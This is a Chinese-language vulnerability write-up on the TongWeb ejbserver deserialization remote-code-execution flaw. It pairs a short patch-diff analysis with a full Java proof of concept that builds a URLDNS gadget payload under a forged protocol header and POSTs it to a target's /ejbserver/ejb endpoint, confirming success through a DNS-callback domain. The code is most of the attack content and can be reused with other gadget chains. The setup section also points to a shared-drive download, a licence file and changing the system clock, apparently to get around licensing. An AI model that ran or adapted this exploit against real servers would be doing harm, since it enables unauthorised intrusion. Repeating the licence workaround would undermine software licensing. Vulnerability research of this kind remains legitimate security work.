东方通 TongWeb 应用服务器 ejbserver 远程代码执行漏洞

环境搭建:

windows下双击exe安装,然后将 licence.dat 放入安装目录并修改系统时间

启动系统 /bin/startserver.bat

下载链接:https://pan.baidu.com/s/1l8WKKD9hg2wu5sDxnVneCQ  提取码:jnn7

漏洞分析:

查看官方通告:

https://www.tongtech.com/newsDetail/102461.html

下载漏洞补丁对比:com.tongweb.tongejb.server.httpd.ServerServlet 中直接关闭了8088端口的访问服务

https://www.tongtech.com//dft/downloads/128.html

继续跟进 this.ejbServer.service(in, out);

com.tongweb.tongejb.server.ejbd.EjbServer#service(java.io.InputStream, java.io.OutputStream)

继续跟进 this.server.service(inputStream, outputStream); 此处构建了 ProtocolMetaData 和 ServerMetaData ,并从输入流中读取。

com.tongweb.tongejb.server.ejbd.EjbDaemon#service(java.io.InputStream, java.io.OutputStream)

先查看 clientProtocol.readExternal(cis); 这里会读取前8字节,然后正则匹配协议头

com.tongweb.tongejb.client.ProtocolMetaData#readExternal

继续查看 serverMetaData.readExternal(ois); 此处产生反序列化点,然后在readObject之前进行了readByte所以我们生成序列化数据之前需要先writeByte

综上可以构造 URLDNS 链验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class tongweb {

public static void main(String[] args) throws Exception {
// 使用 DNSLog 或 Burp Collaborator 生成的域名进行测试
String dnsUrl = "http://qay5.callback.red"; // 替换为你的DNSLog域名
String targetUrl = "http://192.168.211.251:8088";

byte[] payload = generateURLDNSPayload(dnsUrl);
sendExploit(targetUrl, payload);
}

public static byte[] generateURLDNSPayload(String urlString) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();

// 1. 写入ProtocolMetaData
// String protocolSpec = "W3EP/4.2"; // 7.0.4.6等新版本可用
String protocolSpec = "OEJP/4.6"; // 7.0.4.2等老版本可用
byte[] specBytes = protocolSpec.getBytes("UTF-8");

if (specBytes.length != 8) {
throw new IllegalArgumentException("Protocol spec must be exactly 8 bytes!");
}

baos.write(specBytes);

// 2. ObjectOutputStream部分
ObjectOutputStream oos = new ObjectOutputStream(baos);

// 3. 写入ServerMetaData
oos.writeByte(1);
URI[] locations = new URI[] {
new URI("http://localhost:8080/")
};
oos.writeObject(locations);

// 4. 写入第一个RequestType字节
oos.writeByte((byte)0); // RequestType.EJB_REQUEST

// 5. 写入第二个RequestType字节
oos.writeByte((byte)0); // RequestType.EJB_REQUEST

// 6. 写入EJBRequest数据
// 6.1 RequestMethodCode
oos.writeByte(23); // EJB_OBJECT_BUSINESS_METHOD

// 6.2 创建URLDNS payload
// URLDNS链核心:利用HashMap反序列化时调用URL.hashCode()触发DNS查询
URL url = new URL(urlString);

// 使用自定义URLStreamHandler避免本地触发DNS
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();

// 创建URL对象,使用自定义handler
URL u = new URL(null, urlString, handler);
ht.put(u, urlString); // 将URL作为key放入HashMap

// 通过反射设置URL对象的hashCode为-1,确保反序列化时重新计算
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u, -1);

// 6.3 写入deploymentId (触发反序列化!)
oos.writeObject(ht); // 写入URLDNS payload

// 6.4 写入deploymentCode
oos.writeShort(0);

// 6.5 写入clientIdentity
oos.writeObject(null);

// 6.6 写入serverHash
oos.writeInt(0);

oos.flush();
return baos.toByteArray();
}

// 自定义URLStreamHandler,用于避免本地触发DNS查询
static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}

@Override
protected InetAddress getHostAddress(URL u) {
return null; // 阻止DNS解析
}
}

public static void sendExploit(String targetUrl, byte[] payload) throws Exception {
java.net.URL url = new java.net.URL(targetUrl + "/ejbserver/ejb");
java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url.openConnection();

conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setConnectTimeout(10000);
conn.setReadTimeout(10000);

try (OutputStream os = conn.getOutputStream()) {
os.write(payload);
os.flush();
}

int responseCode = conn.getResponseCode();
System.out.println("Response Code: " + responseCode);
System.out.println("see your dnslog!");



conn.disconnect();
}
}




漏洞复现: